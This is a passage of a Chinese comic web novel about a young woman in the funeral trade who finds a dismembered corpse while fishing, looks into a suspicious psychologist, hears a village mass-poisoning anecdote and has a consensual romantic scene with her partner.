钓椅、钓箱、鱼护、抄网、支架、配件盒,各种款式的饵料,把白绯这个只是来钓着玩玩的新手看得目瞪口呆。
钓鱼佬明显很满足于白绯佩服的表情,嘚瑟地又从箱子里掏出一根鱼竿,朝白绯递了过来:“妹妹,我这还有富余的鱼竿,要不要借你用用?”
他骄傲又怜惜地轻轻抚摸着手里的钓竿,对白绯讲解道:“我这竿子和渔轮可都是禧玛诺的,钓线也是Varivas的Avani系列的PE线,一般人我还舍不得借给他呢。咱俩也是投缘,这么个鸟不拉屎的旮沓也能撞见,就借你用用。你瞅瞅你手上那是个啥啊!”
白绯是没听懂那一串品牌,只看那钓竿的模样,想也价值不菲。
她感激地笑笑,婉拒了钓鱼佬的好意:“大哥,谢谢你。只是我原本也不懂钓鱼,只是随便玩玩,你这么好的装备,给了我这样的门外汉也是牛嚼牡丹,太浪费了。”
钓鱼佬便也不强求,二人有一搭没一搭地说起话来。
“妹妹,你怎么跑这儿来了?”
“这是我朋友家长,我陪他过来转转。大哥你呢,怎么跑这儿来了?”
“哦,我听朋友说这边有条河,人烟罕至,还没被人开发,特意开车过来的。”
钓鱼佬边说边掏出饵料先给自己的钓域打了个窝,满心以为这下子怎么也得钓个百八十斤鱼回去,结果没想到,眼见着白绯那边一条又一条地上鱼,自己这边却毫无动静。
搞什么啊!钓鱼佬看着白绯那玩具似的钓竿,再看看自己这一身精良的装备,简直怀疑人生。
说什么都不能空军,不然不是显得我很呆?
钓鱼佬恼羞成怒,又狠狠往河里洒了一大把的饵料,结果依然是没有任何一条鱼咬钩。
白绯在他百思不得其解的目光中又钓起一条十斤的罗非,正准备放进桶里,才发现水桶竟然已经装满了。
钓鱼佬:…不是,这合理吗?难道是我的位置不对?
就在钓鱼佬琢磨着是不是该换个位置的时候,钓竿终于一沉。
上货了!哈哈,终于时来运转,轮到我了吗?
钓鱼佬兴奋地大叫一声,就开始收线。
瞅这手上的分量,怎么地也得五六十斤,还是个大货!
钓鱼佬高兴地满脸通红,眼见着鱼就快被拉上岸,隔着渐渐变浅的水深,却觉得有点不对劲。
这形状,怎么瞅着不太像是鱼啊!颜色也不对,怎么还发白...
钓鱼佬拧着眉头凑近了细看,紧跟着就被吓了个屁滚尿流,差点当场去见了太奶。
“怎么了?”白绯也被他吓了一跳,好好一个男人,怎么就突然叫得跟尖叫鸡似的。
“有有有...”钓鱼佬连滚带爬退出了二里地,抖着手指着刚被拖上岸的东西,已经吓得连囫囵话都说不出来了。
白绯站起身走过去一看,眉梢轻挑,嘴角抽搐着掏出手机报警。
只见岸上赫然是一个人民碎片,还是只有下半截的,如今都已经被泡出淡黄色的尸蜡了。
“是充气娃娃吧?还是人体模特?”钓鱼佬大鸟依人地躲在白绯身后,抱着最后的希望挣扎道。
然而那两条大腿被拉上岸后就开始爆发出刺鼻的恶臭,熏得钓鱼佬两眼翻白,连声作呕。
“是半具男尸。”白绯也很无奈,怎么好好地出来玩,还能碰上这样的事。
报警电话很快被接通,警察让他们在原地等着。
钓鱼佬不敢看尸体,却也舍不得自己的宝贝钓竿,哀求白绯帮忙把鱼钩扯下来后就跑得老远。
然而他都已经怕成那样了,竟然又开始甩着钩钓起鱼来。
“你不怕了?”白绯看他蜷缩成一团都抖成了震动模式,讶异地问道。
“怕怕怕怕啊!”钓鱼佬蹲在地上往边上又挪了挪,可怜兮兮地抽了抽鼻子道:“可是来都来了,不钓可惜。”
好一个来都来了。
白绯又拿出给祝临川发了信息,告诉他这边发生的事,自己可能要晚点回去了,让他别担心。
她把地上好奇的
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小鸡崽揣回兜里,免得这无法无天的小玩意儿跑去啄尸体,又弯腰把桶里的鱼倒回了河里。
河里这位仁兄也不知泡了多久,少说也有好几个礼拜了,毕竟连尸蜡都出来了。其实尸蜡无论是颜色还是质地都和肥皂特别像,触感坚硬滑腻,干燥后还容易脆裂。毕竟这说白了其实也只是脂肪发生的皂化反应而已,所以在脂肪丰富的部位比如面部臀部大腿等更容易发生,甚至因此可能使得五官轮廓都得以保留。
她原本是想带着这些钓来的鱼回去加餐的,如今却也是不敢了,谁知道仁兄的上半截有没有进鱼肚子里呢?
然而没想到她才刚收拾好,那边的钓鱼佬竟然又上货了。
刚刚遭逢巨大打击的他被这惊喜砸得面色红润,兴致勃勃地就开始收网,然后…钓起了尸块的上半身。
白绯:...
钓鱼佬:...嘤嘤
于是当祝临川赶来的时候,就看到白绯正站在岸边和警察交代事情的前因后果,而钓鱼佬则远远地蹲在岸边自闭。
“没事吧?”祝临川走到白绯身边,看起来很是担心。
“没事。”白绯安抚地冲他笑笑,远远指了指正在给尸体检查取证的法医,道:“你的同行呢。”
祝临川见她无事,才放心地远远打量起来。他看了尸体几眼,眉头皱了起来,道:“看起来...像是死于非命。”
他伸出手指在尸体颈部胸口几处指了指:“身上有几处致命伤,刀口看着像是□□。幸好尸蜡化了,阻止了进一步腐败,保留了生前损伤,这对破案很有利。若是能找到凶器或者案发现场,就更好了。”
边上有个年轻的小警察受不了,捂着口鼻退了出来。他看到白绯和祝临川二人,哭笑不得道:“怎么又是你们啊!”
白绯凝神细看,巧了,这不是上回罗峻辉私闯小院引得黄毛的尸体爆炸时来的小警察吗?
“你怎么来这儿了啊?”白绯惊讶地问道。
“我还想问你呢!”小警察委屈坏了,“上回出警,你们屋里那惨烈的样子整得我现在都有阴影,就申请调离了A市,想着来这清净点的地方躺平养老。结果竟然又碰到你们了。”
小警察凄惨控诉道:“你们倆多少是有点柯南在身上的,怎么走哪儿,哪儿就有尸体啊!”
白绯也很无语,道:“我也想知道...好好出来旅个游,怎么就又碰上这事了。”
小警察撇撇嘴,看起来已经接受了命运的安排:“唉,不过也算积德行善了。法医说死者应当是被人杀害的。经常杀人的朋友都知道,远抛近埋。若不是被你们发现,这位老兄还不知道要什么时候才能重见天日呢!也算是功德一件了。只可惜,凶器如今还没找到..."
白绯:…不是,谁经常杀人啊!
"小刘,你过来下!"
远处,有同事在招呼小警察过去。小警察深吸一口气,视死如归地回去了。
有专业人士接手,白绯和祝临川便也不准备多待,收拾收拾就打算回去。
她和祝临川朝钓鱼佬走去,正打算告个别,走近了才发现,他竟然又开始钓鱼了。
“你还是真不死心啊!”白绯为钓鱼佬的执着惊叹。
钓鱼佬抽着鼻子回道:“钓鱼佬永不空军,我还就不信邪了,今天非他妈钓上一条鱼不可。”
正说着话呢,钓鱼佬就感觉鱼钩上又有了重量。
那边的人民碎片已经集齐,想来总不会这么寸,再来第二具了。这次铁定是鱼!
钓鱼佬在白绯二人的注视中信心满满,猛地一扬鱼竿,然后钓上了一团水草。
而水草里,赫然是一把□□。
白绯:...
祝临川:...
钓鱼佬:...
钓鱼佬果然是世界上最神秘的群体,除了鱼,什么都能钓上来。
36. 阴谋
赶过来的警察小刘也很震惊。
怎么回事,河里这哥们儿是和钓鱼佬杠上了吗?不过倒也算桩好事。
“刚打算找打捞队来呢,这下可替我们省事了。”小刘把□□封装进证物袋,兴高采烈地拿回去了。
白绯揶揄地看着一脸崩溃的钓鱼佬,问道:“还钓吗?”
“不钓了不钓了,这地儿克我呜呜呜...”钓鱼佬终于不再头铁,选择了收拾东西离开。
一切尘埃落定,白绯便和祝临川往回走。她一边把手指伸进兜里逗小鸡崽玩,边问道:“迁坟的事和李大爷商量好了吗?”
“嗯。”祝临川点点头,抬手拨开挡路的树枝,浑身都有种遗憾得到弥补的平和,“等我们离开的时候,我会带上父母一起走。”
“好。”白绯笑了笑,道:“我也有样东西想带走。”
等白绯和祝临川回到小楼的时候,才刚进门,一只黑白色毛发的小狗就先像阵小旋风般地刮了出来。
“小黑?”白绯看着绕着自己的脚打转的小狗,惊讶道:“原来你还是个挑染的啊?瞅着这配色,倒有点像熊猫。”
小黑是只中华田园犬,看起来十分机灵。它的尾巴都快摇成了风扇,似乎察觉到了什么,一直扒拉白绯的裤子口袋,湿润的小黑鼻子冲着那儿一个劲儿的嗅闻。
“鼻子可真灵。”白绯笑着从裤兜里掏出鸡崽,蹲下捧到小黑的脸前,“来见见你的新朋友,大鹏。”
小鸡崽站在白绯的手心里,应声展开了两个毛绒绒的小翅根,昂首挺胸地唧唧叫了两声。
小黑看着眼前还没自己嘴大的小不点,两只黑眼珠都快比成了斗鸡眼。
“以后咱们小楼的安保可就交给你俩了,不许欺负同事,也不能把同事吃掉哦!”白绯把大鹏放到小黑的脑袋上,看它俩处得还挺和谐,就放心地进了屋。
在他们回来之前,祝临川已经和白父一起为祝家父母挑选好了墓地。此刻,他已经先和白书远一起过去了。
周芸正在陈列架边掸灰,看见白绯进来,握着鸡毛掸子对她感慨道:“小祝挺不容易的,你爸做主给他父母挑了个好地方,让他不用急着交款,以后工作了再慢慢还。其实原本我们都不想收他钱的,但是这孩子坚持要给。”
“随他吧。”白绯没骨头似地靠在周芸肩头,亲昵地冲她撒娇:“妈,这两天想我没。”
“你说呢?”周芸宠溺地回手摸了摸她的头顶,眼里都是对孩子的爱。“对了。这几天罗峻辉来了这里好几趟,都被你爸赶回去了。”
“啧,这晦气玩意儿来做什么。”白绯不耐烦地翻了个白眼。
“还能来干什么,软磨硬泡指望你回心转意呗。绯绯,你可得答应妈,千万别在这就差临门一脚的时候心软啊。”
“妈,你放心吧。”白绯对着周芸保证,“就是全天下的男人都死绝了,我也不可能和这垃圾在一起的。”
“那我就放心了。”周芸松了口气,突然想到什么,又揶揄地笑了一声,“还有对面的叙白医生,最近可是来楼里好几趟...闺女啊,我看他倒也不错..."
"哎呀,妈,你就这么着急把女儿嫁出去吗?我好不容易才出火坑,女儿只想在家里多陪陪你和爸爸。"白绯撅着嘴和周芸撒娇,“再说了,女儿大好青春,才不要在一棵树上吊死呢!天底下的帅哥还等着女儿去泡呢!”
“你呀!”周芸被她逗笑,用手指亲昵地点了点她的额头,“不害臊。”
“说什么呢,这么开心。”
母女俩正说着悄悄话,白书远提着工具箱回来了。
“爸,都办妥了?”
“嗯。”白书远点点头,放下工具箱道:“我再去后面拿些纸钱给临川那孩子送去。”
“我去吧。”白绯拦住了白书远,主动请缨道,“爸,你休息会儿。”
说完就跑了出去。
白书远接过周芸递来的凉茶喝了一口,笑着和她打趣道:“绯绯和临川这孩子,关系倒真要好。”
“是啊,都是好孩子。”周芸也没多想,随口回了句,就去忙了。
等白绯拿着纸钱赶到的时候,祝临川正跪在墓前,伸手轻轻拂过碑上父亲与母亲的名字。
她把纸钱递给祝临川,自己也蹲下陪着烧了一些。
“叔叔阿姨,这地方你们住得还满意吗?改天我再给你们扎点如今时兴的玩意儿烧给你们,有什么想要的只管托梦哈,都是一家人,不用客气。如今临川在我们这儿帮忙,你们二老只管放心,我们保证不会亏待他...”
祝临川在一边看着白绯煞有介事地碎碎念,眼神里是藏不住的温柔。
等看望过祝家父母后,白绯正准备给陆寻打电话问问叙白的调查如何了,结果自家的律师倒是先发来了消息。
和罗峻辉的离婚官司很顺利,有了他亲笔签订的婚前协议和陆寻提前准备好的出轨证据,白绯很顺利地保住了白家的财产,还狠狠捞了罗峻辉一笔。
据说出庭那日,罗峻辉原本还想在庭外蹲守白绯一波,不仅西装革履好好打扮了一番,还准备了一大捧娇艳欲滴的玫瑰,企图哄得白绯恋爱脑上头,变回从前的娇妻。
结果没想到白绯根本都没出现,只全权委托了律师处理。罗峻辉听到审判结果的时候脸都绿了,整个人都苍老了不少。
此外,白绯当时还委托他一同处理关于陆子尧肇事逃逸的案子。陆家老爷子提出了一笔丰厚的赔偿,希望白绯他们能大事化小小事化了。由于他们确实也没有受伤,走法律途径意义不大,律师便劝她收下这笔赔偿就算了。
白绯和祝临川商量后决定接受,并把这笔款项都直接打进了祝临川卡里。
祝临川原本想拒绝,却被白绯捧着脸亲了一口,笑道:“觉得我吃亏了,你就肉偿吧。”
二人这厢甜甜蜜蜜,另一头的罗峻辉却正水深火热。
他丢了工作,又因离婚官司出了不少血,还在顾怜心身上花了不少钱,如今经济情况十分局促。
白绯眼下郎心似铁,他连她面都见不上,眼见是挽回无望。他这几天只能赶紧
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先再去找工作要紧。结果没想到,就仿佛所有的运气都跟着离去一般,罗峻辉这几天的面试频频碰壁。
他的期望一降再降,原本还想着凭自己的能力,也许还能趁此机会干脆跳槽升个薪,结果没想到,即使一降再降,也没有公司愿意要他。
罗峻辉急得嘴上都起了燎泡,看着镜子里憔悴的男人,一时间竟有些迷惘。
突然厕所里传来熟悉的声音,竟是刚才拒绝了他的面试官:“嗐,现在的人真是没有逼数,30岁高龄的程序员,还被拘留过,竟然还有脸来应聘。”
罗峻辉都不知道自己是怎么离开的公司,他浑浑噩噩地在街上游荡,却不想回家。
罗雪萍整天不见人影,祝金花整天神神叨叨在家烧纸拜佛跳大神,顾怜心又只会找各种借口问他要钱。
他不明白前阵子自己才刚走上人生巅峰,怎么这么快就跌落谷底了呢?
他脑中胡思乱想,结果一不小心,竟撞到了一个魁梧的年轻男人。
年轻人倒三角的健美身材,长相有些凶狠,尤其是那一双三角眼。只是人靠衣装,他浑身上下都是奢侈品,充斥着暴发户的气质。
他被撞到时正在打电话:“这个项目少说也能赚一个小目标,要不是有我老爹的关系,我也拿不到...哎哟,兄弟,你怎么走路不看路啊?”
罗峻辉捂着被撞出鼻血的鼻子,将嘴里的脏话咽了回去。
现在满脑子都是听到的那句“少说也能赚到一个小目标”,激动得心跳如鼓。
罗峻辉不着痕迹地打量着年轻男人的行头,尤其在他手上的劳力士钻表上流连了好几眼。
“对不住啊小兄弟,我刚才没注意到你。”罗峻辉心生一计,随即立刻挤出谄媚的笑,热情地邀请眼前的年轻人:“咱们也算有缘,要不哥请你去喝两杯,算赔罪了。”
打工有什么出息,自己当老板才能挣大钱!定然是老天眷顾,才让我遇上贵人,这是要送我大富贵啊!
罗峻辉原本以为怎么也要费番口舌才能搭上这人傻钱多的富二代,结果没想到对面的男人竟然爽快地点了点头,“行啊,哥们,走着。正好我今天拿下一个大项目,想好好庆祝下呢!”
二人勾肩搭背地相携离开,而这一幕正巧被站在西点店里的白绯看见。
她隔着店里的落地玻璃窗看着和罗峻辉谈笑的年轻男人,奇怪地嘟哝道:“那人不是顾怜心的姘头,叫陈昊的嘛?这是演的哪出戏呢!背地里偷偷戴绿帽不够刺激,特意舞到正主面前来了?”
然而看他俩这相谈甚欢的样子…白绯直觉里面定有猫腻,但是反正最后倒霉的也只会是罗峻辉,她便也懒得再搭理。
她拎着甜点出门后进了隔壁的咖啡店,店里,陆寻正在等她。
“尝尝,最近的网红新品。”白绯从袋子里掏出一份甜点递给陆寻。
陆寻看起来就跟吃了逍遥丸似地嗨得不行,从手里拿出一沓资料示意白绯看:“白小姐,这是叙白的资料。”
白绯一边翻看一边听陆寻解说。
37. 团灭战绩可查
陆寻挖了一口抹茶奶盖舒芙蕾芝士蛋糕进嘴里,眯着眼很是享受。
“好吃。”他对白绯竖了个大拇指,问道:“这是哪家店,一会儿我再去买点。”
“就是隔壁那家。”白绯侧身指了指背后,有点惊讶:“我还以为你们男生不喜欢甜食,只有我们女生才爱喝点奶茶吃点蛋糕。”
“这可是性别刻板印象了。”陆寻三两口把甜点吃进肚子,道:“谁不爱喝小甜水吃小甜点,只不过咱们男人吃起来就和猪八戒吃人参果似的,几口就干完了,但是你们女孩子,一杯奶茶一块点心能吃老半天。不知情的人就还以为只有女生爱喝,其实只是咱们男人早就吃完了。”
白绯忍不住就想起祝临川,这小面瘫原来平时喝奶茶吃点心的时候心里都是在偷乐吗?表面面无表情其实心里在因为小甜水悄悄冒泡,怎么说,还怪可爱的。
陆寻看着眼前的白绯突然就开始傻乐,满头雾水地摸了摸后脑勺。他拿勺子刮了刮蛋糕托盘,开始和她吐槽对叙白的调查结果。
“这个叙医生简直就是天龙人。他父亲是知名上市企业老总,母亲是德高望重的名校大学教授,名利双收。更难得的是二人鹣鲽情深,在外面也没什么乱七八糟的关系,还只有他一个独子,简直把他当眼珠子疼爱。叙白走的国际生路线,甚至都没有参加过中考高考..."
说到这里,陆寻都被酸得撇了撇嘴。
试问华国儿女,有几个没因为中高考被磋磨掉几层皮的。
他自己家境也算不错了,父亲抓住了风口,早年靠炒房赚得盆满钵圆。后来房地产市场下行,陆父明智地选择了在房价最高点抛售了大部分房产,如今手握几个小目标,靠理财收益和几栋楼的房租,日子过得也颇为滋润。然而也许是父母都是泥腿子出生,二老特别希望陆寻能够金榜题名,做个高知。
二人在其他方面都很好说话,唯独对他在学业上要求颇高。陆寻直到现在都还会时不时做噩梦,不是梦到忘记带准考证,就是梦到考试时忘记翻面没做最后一道大题。
陆寻打了个寒颤,怒吞一个泡芙定神,继续说道:“叙白后来一直在国外念书,常青藤名校毕业,又一路读上了博士,后来就回国,在父母的资助下开了个心理咨询工作室,收费可高了。总之,从明面上看,叙白简直就是人类高质量男性,一点毛病都挑不出来。我以他的名义去回访了几个他曾经的病人,但凡活着的,都对他交口称赞,说他是医者仁心,华佗在世。”
白绯想起她上次也以叙白的名义去探望了程莉莎,嘴角抽搐地无语了一会儿。但她很快察觉到了陆寻不同寻常的用词,挑眉追问道:“那死了的呢?”
“说到这就有意思了。”陆寻呷口冰美式,表情狰狞地咽了下去,“我统计了下,发现这个叙医生手下的病人,自杀的比例可比同行业的高很多啊!只是这些死亡病例本身病情确实比较严重,所以不好判断里面究竟有没有猫腻。”
陆寻摸着自己光滑的下巴,思索道:“后来我又以心理健康基金会的名义去探望了去世病人的家属,他们对叙医生的评价也是很认可的。不过里面有一个巧合,那就是几乎所有的病人在自杀前,家属都被叙白提醒过,让他们注意防范,说病人可能有自毁倾向。虽然悲剧还是发生了,但后来叙白都主动退还了就诊费用,还给予了一些人道主义补偿,甚至还出席了葬礼。”
“这做,确实挑不出错处了啊。”白绯阖上手里的文件,不得不为叙白的圆滑处事所惊叹。
陆寻一边往咖啡里疯狂放方糖,一边继续说道:“是啊!而且据我观察,这个叙医生也很清心寡欲啊,每天都窝在工作室里,除了病人,也没和什么不三不四的人接触。”
白绯:...要不是我见过那一屋子的皮鞭蜡烛,我还真信了。
她对陆寻道:“那行,最近辛苦你了。继续盯梢吧,时间久了,狐狸尾巴总会露出来的。”
告别陆寻后,白绯就开车回了小楼。开进院子前,她还扭头看了看对面叙白的别墅。
原本荒芜的花园如今被叙白打理得很漂亮,花团锦簇的,让人看着就心情舒畅。别墅大门紧闭,透过打开的窗户,只能看见里面随风飘荡的纱帘。
白绯停好车,提着一袋子甜点和奶茶进了大厅。小施刚好挂了电话,看见白绯进来,苦笑着对她道:“姐,来单子了。”
单主的位置在B县,请了他们全程负责葬礼,怎么地也要等第二天出完殡才能回来了。除了白父白母,这次小楼全员出动,他们将葬礼需要的东西都搬上车,就开着车一起向目的地进发。
白绯坐在后座用余光偷看喝流心奶黄芝士可可的祝临川,发现他果然喝得很快,虽然面瘫着脸,但却在悄悄抖腿。
白绯低头偷偷笑了一声,有种发现谁都不知道的小秘密的快感。
小施的奶茶也见了底,正在嚼珍珠。他边吃边开车,和众人解释道,这次的单主是个80岁的老太太。本来这个年纪也能算喜丧了,只是没想到,临了,老太太还直接干了把大的,差点把全村人□□了。
“啊?”陈安夏捧着还没怎么动的真梅醉听得目瞪口呆,脑海里出现一个扛着双枪疯狂扫射的老太太形象,她摇摇头甩掉脑子里不切实际的幻想,追问道:“小施,你这是唬人的吧?80岁的老太太,牙都快掉没了,还能闯出这么大的祸?”
小施按着导航播报进了高速,冲众人娓娓道来:“嗐,别说你们了,我刚听到的时候都吃了一惊。这老太太,早上淘米做饭的时候,不小心把桌上的老鼠药打翻进了米缸。老人家舍不得把米就这么倒掉,灵机一动,把上面的药水洗干净不就没事了嘛!于是就把米洗了洗又给照常放回去了。之后,她舀那米做了粥,可不就直接把全家老小都给药进了医院嘛。倒是她自己胃口小,吃得少,没什么大事,儿子儿媳一家三口年轻身强体健,很快也救回来了。只有他家老爷子,吃得多,年纪又大,最后嗝屁了。”
白绯喝了口芋泥压惊:“哎哟,这可真是...唉,不对,不是说逝者是老太太吗?”
小施继续道:“对,你们听我说完,这还没结束呢。老太太出院后很自责,想着这还剩下大半缸米呢,扔了多可惜。人吃不了,那鸡还吃不了吗?就把这剩下的米全喂了后院的鸡,结果这鸡吃完,当场就被灭族了。这可把老太太心疼坏了,正好隔天是她家老头子的葬礼,全村四百多人要来吃席,老太太灵机一动,想着老鼠药已经被鸡吃掉了,那人吃鸡肯定没问题了,就把这些鸡全炖了端上了桌...”
白绯、祝临川、陈安夏:...
“后来,救护车的鸣笛在村里一直响到半夜,车轱辘都跑冒烟了才把口吐白沫的宾客全拉进医院。好在,毒药经过这么一番传递,又经过高温炖煮,毒性已经弱了不少,全村人最后都抢救了回来。”
陈安夏松了口气,道:“所以最后,只有老太太一个人中毒没救回来?”
小施摇摇头,道:“不是,老太太不是中毒死的。她因为老伴去世,心情不好没胃口,所以没有吃那些鸡肉,全村只有她一个人没有中毒。老太太是后来半夜在睡梦中自然去世的。”
白绯听得连连咋舌:“这老太太真不是和村里人有怨,蓄意报复吗?”
陈安夏也附和道:“或者是和家里人不睦,心生怨怼?不然实在解释不了这神操作啊!”
小施笑道:“还真不是,单纯就是舍不得浪费那一缸米。”
祝临川毒舌点评道:“有时候坏人绞尽脑汁还真不如蠢人灵机一动。”
小施心有戚戚道:“你们是不知道,如今有些老人就是这样的。我奶奶,永远不吃新鲜的东西,家里人拎去的牛奶点心,不舍得吃,一直放到过期,然后舍不得扔,终于开始吃了。”
陈安夏也被勾起了回忆,感叹道:“我家太姥姥也差不多,家里也不缺她吃缺她喝,非去垃圾桶拣人家扔掉的,还偷偷拿回来骗我们吃,把我们吃进医院好几回,怎么说都不肯改。40度的高温天,为了省点电费不舍得开空调,得了热射病进医院ICU
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,人遭罪不说,花的那钱都够她开几十年的空调了。”
白绯也想起了原书里的剧情。原书的白绯嫁进罗家后,好好一个大小姐,愣是整得跟个难民似的,连点像样的吃食都吃不上。如果罗峻辉没有在家,那祝金花就会拿出馒头腐乳,让全家跟着吃糠咽菜。
原主很单纯,自己拿钱买肉买菜,还做好了端上桌,却被老太太阴阳怪气地嘲笑:“峻辉在外头辛苦打工吃盒饭,你这个做妻子的不知道替他省钱,还在家里吃香喝辣,真是家门不幸。”
原主看着桌上普普通通的炖排骨和河虾,不明白不过是些家常菜,怎么地就引得老太太如此不满。她弱弱地辩白道:“妈,这是我爸妈补贴我的私房钱...”
不说还好,一说这话直把祝金花气得吹胡子瞪眼:“怎么就是你的私房钱了,你嫁进我们罗家,你的钱就是我们峻辉的钱。再厚的家底能禁得住你这样的挥霍?还有你平时,动不动就买东西,天天都有快递拿,真是个败家娘们儿!光花钱,还下不出蛋,要不是我们峻辉好心,早就把你休了...”
当时的原主刚被祝金花故意推倒导致流产,当时她连月子都没得坐,还得天天在家伺候大姑子和婆婆两个人。如今,她被这样责骂,却不知该如何反驳,只好低着头不吭声。
祝金花嘴上不停,指使罗雪萍把桌上的菜都收起来,等罗峻辉回来给他加餐。这样的事在原著中发生过无数回,好在白绯是和原主截然不同的性子,一早就快刀斩乱麻,逃出了那个火坑。
白绯嘬了口奶茶,脸颊里塞得鼓鼓囊囊的都是小料,边嚼边在心中感叹道:可真是不婚不育保平安啊!
四人一路聊着天,很快就到了地方。由于村子里的人不是还在医院就是才刚出院,就连自家人也都还未痊愈,于是决定一切从简。
白绯四人给老太太穿好衣服化好妆,又陪着守了灵,第二天一早就早早出了殡,送别了这位几乎达成团灭战绩的传奇老太。
老太的家人将骨灰带回了村子里的墓地和她家老爷子合葬后,白绯他们就顺利结束了订单,开车回去了小院。
小施和陈安夏各自回了家,白绯和祝临川则在小楼里补觉。
白绯这一觉睡得安稳,睁眼才发现连天都黑了。白父白母已经回了市里,给他们留了些饭菜。
他们年纪大了,口味比较清淡,现在又正值夏季,白绯觉得嘴里没味道,便想着反正也睡饱了,不如出去吃个夜宵。
正巧最近附近有家夜市新开,倒是可以去尝尝。
正琢磨着呢,白绯就发现祝临川也醒了。身高一米九的男人肩宽腿长,光着上半身,露出结实的胸肌腹肌,人鱼线收束在短裤里,底下是两条修长有力的长腿。
他抱着双臂斜倚在餐厅门口,就那么似笑非笑地看着白绯,也不知在后面打量了多久。
“怎么穿这么少。”白绯刻意凹出一副邪魅狂狷的模样,牵着嘴角□□道:“美人,你这是在故意勾引我这个雄鹰般的女人吗?”
祝临川竟然没忍住笑了声,然后正色配合她演。他轻轻抓着白绯的手,按在自己饱满的胸膛之上,对白绯道:“那我成功了吗?”
白绯的指尖陷入胸肌的沟壑,掌心搏动的心跳震得她指节发麻。
她坏笑一声,曲起手指在麦色的肌肤上滑动,指甲不经意擦过,惹得掌下的肌肉骤然紧绷。
“还不够啊。”她指尖用力,控制在一种微妙的力度,让祝临川感到些微的疼,却又夹杂着难耐的痒。
白绯轻笑一声,看着眼前人的喉结不住上下鼓动,嘴里挑衅道:“都是成年人了,不来点刺激的么?”
祝临川被勾得胸膛不住起伏,猛地抬手扣住了白绯的手腕,将她拉进了自己的怀里。
他低头啃咬着白绯的锁骨,又沿着修长的天鹅颈一路往上,低喘着将她的耳垂含进了湿热的嘴里。
一句充满暗示意味的话在舔吻间低低传进了白绯的耳朵里。
“你的卧室里…有一面落地镜。”
38. 肉包铁
白绯咕咚咽了口口水,唉?要玩这么大吗?!
但她此刻也是箭在弦上,抓着祝临川潮湿的背肌纠结片刻,终于在对方的催促下豁出去了:“回屋。”
月光在纠缠的舌尖化成糖丝,祝临川托着白绯臀部的掌心灼烫如烙印,他喘息着将人拦腰抱起,膝盖撞开了虚掩的房门。
门被反手锁上的那一刻,白绯身上的蕾丝睡裙翩然坠地。
云雨初歇,白绯慵懒地躺在祝临川的怀里平复喘息。
月色穿过窗帘落在那面落地镜上,光滑的镜面上还有点点水痕。
祝临川还有些意犹未尽,大手摩挲着白绯汗津津的后腰,很有再来一次的意思。他还是第一次见到白绯如此失神的样子,想到刚才镜中照出的靡靡之景,就又有些□□涌动。
白绯累得筋骨酥软,在心里默默吐槽不愧是男大,才这么一会儿功夫就又精神起来了。
她拍开祝临川往下游移的手,羞红着脸爬起来,随手从床上抓过一块布料就扔在了那张俊脸上,恼羞成怒道:“有完没完了你,我饿了,先去吃饭。”
玉白的脸上弥漫着薄红,眼里还带着羞恼的水光,当真是春光无限。
祝临川在白绯面前向来是指东不往西的,也不恼,只温顺地笑着伸手把脸上的布料拿了下来。
二人这才发现,这竟然是白绯刚才穿在身上的内裤。
轻薄的白色蕾丝内裤此刻已经犹如从水里捞出来似地湿透了,只有当事人清楚,这都是哪里来的水。
那些水除了打湿了眼前这块布料,还有不少则是喷溅在了窗边那面落地镜上。
饶是白绯这样的老江湖,此刻回想起刚才荒唐的一幕也有些赧然,她伸手就把布料拽回了手中想拿回来,不想却被祝临川拽住了手腕不放。
“你松手…”白绯的脸更红了,眼神躲闪不敢看他。
拉扯间手下用力,有水渍顺着她纤细的手腕落下,玉白的腕间还映着点点红梅。
而好巧不巧,白绯是跪坐在祝临川身上的,晶莹的水珠落下后竟然正巧落在下方的祝临川唇间。
二人皆是一愣,白绯下意识就想伸手去擦,不妨却见一条柔软的舌探出唇齿,将那滴水珠直接卷进了口中。
白绯的脸轰地一下红了,她几乎是语无伦次道:“你...你,脏不脏啊,你怎么...你...”
祝临川却猛地直起身靠近,自下而上直勾勾盯着白绯的脸,伸出舌头又舔了舔她的手腕,带着低沉的笑意道:“又不是没舔过...”
白绯瞠目结舌,索性直接把布料又按回了他脸上,破罐破摔道:“你舔个够吧!”
她气鼓鼓地起身下床去浴室洗漱,结果刚下地,腿就一软,差点直接栽倒在地上。如凝脂般的大腿上还留着掐痕,因为用力过度而泛着酸软。
身后传来轻笑,白绯扶着后腰咬牙切齿砰地一声摔上了浴室的门,还十分小心眼地反锁了,免得被某个越来越会以下犯上的小童工趁虚而入。
舒舒服服洗完澡后,白绯只觉得通体舒畅。她懒洋洋地擦着湿发,等出来后就看到祝临川也换了一身干净衣服,正拿着湿巾在擦落地镜。
白绯干咳一声,像个周扒皮似地抱着胸在一边监工:“地擦了吗?”
祝临川抿着嘴,眼里都是温柔的笑意,低低嗯了一声。
白绯也绷不住了,偏头忍着笑意道:“看在你尽心伺候本小姐的份上,带你吃宵夜去。”
二人收拾好下楼的时候,大厅里的大鹏和小黑就先迎了出来。
大鹏张开毛绒绒的小翅膀站在小黑的脑袋上,而小黑也不恼,屁颠颠地驮着它跑到二人身边摇尾巴。
白父这两天给这一鸡一狗搭了个竹子别墅,白母找了些凉快的料子给它们铺了窝。别墅里还有白绯给买的磨牙棒,祝临川给买的玩具小狗和玩具小鸡。
“爸爸妈妈出去吃夜宵,你俩看家,回来给你们带好吃的。”白绯雨露均沾地摸了摸它俩的脑袋,承诺道。
于是直到二人在夜市的大排档坐下,祝临川的脸上都还带着迷之微笑。
白绯被他笑得起了一身鸡皮疙瘩,不明所以地问道:“你笑什么呢?”
祝临川却没解释,转移话题道:“吃虾。”
他把满满一叠龙虾肉端到白绯面前,示意她吃。
白绯正剥虾壳剥得手疼呢,惊喜道:“给我剥的呀,那我就不客气啦。”
坐在夏夜凉爽的微风中,一口冰凉的啤酒,一口麻辣鲜香又Q弹的虾肉,身边还有处处合心意的男人殷勤地照顾,实在是让白绯心满意足。
二人正一个剥一个吃得开心,突然就听路上嗡地接连响起轰鸣,紧跟着就有好几辆鬼火疾驰而过。
那几乎闪瞎人的七彩灯光,震耳欲聋的音响,还有肉包铁的无知骑手。
明明是在闹市区,他们的速度却直逼200码,还差点撞到了一个正穿过马路的无辜路人。
“还有没有公德心了,大晚上的开这么快,找死啊!”险险躲开的路人大哥脚下不稳,一头摔进了大排档里,正好被坐在那里的食客伸手架住,才没摔个头破血流。
